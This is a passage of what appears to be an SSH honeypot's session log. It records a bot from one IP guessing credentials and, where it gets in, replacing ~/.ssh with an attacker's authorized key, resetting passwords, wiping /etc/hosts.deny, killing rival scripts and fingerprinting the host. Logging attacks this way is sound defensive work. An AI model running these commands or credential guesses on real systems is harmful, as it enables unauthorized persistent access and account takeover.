$7}'"},{"seq":10,"at":"2026-08-26T14:31:16.720084+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:31:17.473456+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:31:18.542096+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:31:19.295816+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:31:19.697174+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:31:20.446108+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:31:21.050567+00:00","kind":"output","latency_ms":null,"data":" 14:31:21 up 6 days, 11:21,  0 user,  load average: 0.18, 0.15, 0.13\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:31:21.807234+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:31:22.489616+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:31:23.239055+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:31:23.783501+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:31:24.533263+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:31:25.191117+00:00","kind":"output","latency_ms":null,"data":"top - 14:31:25 up 6 days, 11:21,  0 user,  load average: 0.18, 0.15, 0.13\nTasks: 110 total,   1 running, 109 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8420 free,    7467 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:31:25.940673+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:31:26.499294+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:31:27.247845+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:31:27.843258+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:31:28.596620+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:31:29.074240+00:00","kind":"output","latency_ms":null,"data":"kamera"},{"seq":29,"at":"2026-08-26T14:31:29.823662+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:31:30.645753+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:31:31.398097+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:31:32.415739+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kamera","password":"kamera","method":"password","accepted":true,"tier":"other"}]}
{"id":"85a0297e-2e8c-4dd1-8f50-3d4655f3d88d","name":"crisp-opal-fennec","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40715,"username":"kamera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:31:09.885687+00:00","ended_at":"2026-08-26T14:31:11.044053+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kamera","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"ebd0ac21-b29b-4de1-9e8f-62205cd60f00","name":"frosty-distant-numbat","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40714,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:31:06.728355+00:00","ended_at":"2026-08-26T14:31:08.378586+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"6f3f2e48-327e-409c-8bb4-cc94fec84ebd","name":"civil-flinty-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40710,"username":"yangx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:28:41.209628+00:00","ended_at":"2026-08-26T14:28:42.598668+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2239,"events":[{"seq":1,"at":"2026-08-26T14:28:13.510015+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:28:14.257939+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:28:21.374594+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:28:22.073816+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:28:22.821588+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nbGYkyy6E3Yq8\\nbGYkyy6E3Yq8\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:28:23.569008+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nbGYkyy6E3Yq8\\nbGYkyy6E3Yq8\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:28:24.317354+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:28:24.798274+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:28:25.548756+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:28:26.696458+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:28:27.447963+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:28:28.501682+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:28:29.252001+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:28:29.840421+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:28:30.589403+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:28:31.106839+00:00","kind":"output","latency_ms":null,"data":" 14:28:31 up 6 days, 11:18,  0 user,  load average: 0.29, 0.3, 0.27\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:28:31.856297+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:28:32.239386+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:28:32.990039+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:28:33.573577+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:28:34.325411+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:28:34.577758+00:00","kind":"output","latency_ms":null,"data":"top - 14:28:34 up 6 days, 11:18,  0 user,  load average: 0.29, 0.3, 0.27\nTasks: 111 total,   1 running, 110 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6831 free,    9056 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:28:35.327250+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:28:35.832261+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:28:36.580491+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:28:37.396261+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:28:38.148307+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:28:38.418532+00:00","kind":"output","latency_ms":null,"data":"yangx"},{"seq":29,"at":"2026-08-26T14:28:39.166541+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:28:40.460726+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:28:41.210164+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:28:42.360374+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yangx","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"a8de53b8-1610-4ccd-b384-1e173411ebba","name":"ancient-humble-magpie","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40712,"username":"yangx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:28:19.551384+00:00","ended_at":"2026-08-26T14:28:21.136843+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"yangx","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"69f46df5-863d-47d2-8ab1-570702eb117c","name":"wandering-quiet-moorhen","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40711,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:28:15.986198+00:00","ended_at":"2026-08-26T14:28:18.041646+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"6db6a079-e5ba-43a2-9b1b-6773fc1a40c7","name":"placid-proud-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40707,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:25:56.614579+00:00","ended_at":"2026-08-26T14:25:57.789293+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T14:25:28.873481+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:25:29.620646+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:25:36.124728+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:25:36.537473+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:25:37.290768+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ra8lui2ZUaJ4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:25:38.037231+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:25:38.783562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:25:39.184598+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:25:39.931744+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:25:41.280517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:25:42.032645+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:25:43.190706+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:25:43.940427+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:25:44.382643+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:25:45.134035+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:25:46.000074+00:00","kind":"output","latency_ms":null,"data":" 14:25:45 up 6 days, 11:15,  0 user,  load average: 0.06, 0.08, 0.06\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:25:46.747218+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:25:46.999749+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:25:47.747003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:25:48.424230+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:25:49.170549+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:25:49.704928+00:00","kind":"output","latency_ms":null,"data":"top - 14:25:49 up 6 days, 11:15,  0 user,  load average: 0.06, 0.08, 0.06\nTasks: 123 total,   1 running, 122 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8579 free,    7308 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:25:50.455257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:25:51.273469+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:25:52.020669+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:25:52.915782+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:25:53.664069+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:25:54.085211+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:25:54.832524+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:25:55.868020+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:25:56.615559+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:25:57.552646+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zxy123","method":"password","accepted":true,"tier":"other"}]}
{"id":"0d716dc8-0f34-48b1-9541-18497fde2099","name":"twilight-alpine-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40709,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:25:34.748945+00:00","ended_at":"2026-08-26T14:25:35.878007+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"5ab82833-68dd-47d5-9ee5-9dd2e33d4a78","name":"cheerful-dewy-wagtail","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40708,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:25:31.358334+00:00","ended_at":"2026-08-26T14:25:33.259131+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"ea26497e-3ab0-48fd-829a-52c184be61b0","name":"russet-hazel-marten","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40704,"username":"developer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":756,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:23:12.910086+00:00","ended_at":"2026-08-26T14:23:14.585682+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2233,"events":[{"seq":1,"at":"2026-08-26T14:22:44.109558+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:22:44.865872+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:22:51.918743+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:22:52.610629+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:22:53.367684+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password@123\\ndJIIRzcKlAGc\\ndJIIRzcKlAGc\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:22:54.123035+00:00","kind":"input","latency_ms":null,"data":"echo \"Password@123\\ndJIIRzcKlAGc\\ndJIIRzcKlAGc\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:22:54.878590+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:22:55.664374+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:22:56.421572+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:22:57.498362+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:22:58.254924+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:22:59.565396+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:23:00.324791+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:23:01.136118+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:23:01.889505+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:23:02.142281+00:00","kind":"output","latency_ms":null,"data":" 14:23:02 up 6 days, 11:13,  0 user,  load average: 0.2, 0.22, 0.22\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:23:02.899553+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:23:03.576119+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:23:04.330827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:23:05.029586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:23:05.785778+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:23:06.444251+00:00","kind":"output","latency_ms":null,"data":"top - 14:23:06 up 6 days, 11:13,  0 user,  load average: 0.2, 0.22, 0.22\nTasks: 127 total,   1 running, 126 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8579 free,    7308 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:23:07.199895+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:23:07.547401+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:23:08.304121+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:23:08.750214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:23:09.507045+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:23:09.980579+00:00","kind":"output","latency_ms":null,"data":"developer"},{"seq":29,"at":"2026-08-26T14:23:10.737659+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:23:12.154698+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:23:12.910802+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:23:14.345043+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"developer","password":"Password@123","method":"password","accepted":true,"tier":"other"}]}
{"id":"b56e4ed5-af44-4318-9871-55013d8c4f6e","name":"mindful-plush-hamster","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40706,"username":"developer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:22:49.864970+00:00","ended_at":"2026-08-26T14:22:51.679636+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"developer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"e278f4ad-8a9d-4c97-9c5f-bb379673c7a5","name":"plucky-gritty-camel","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40705,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:22:46.594837+00:00","ended_at":"2026-08-26T14:22:48.366657+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
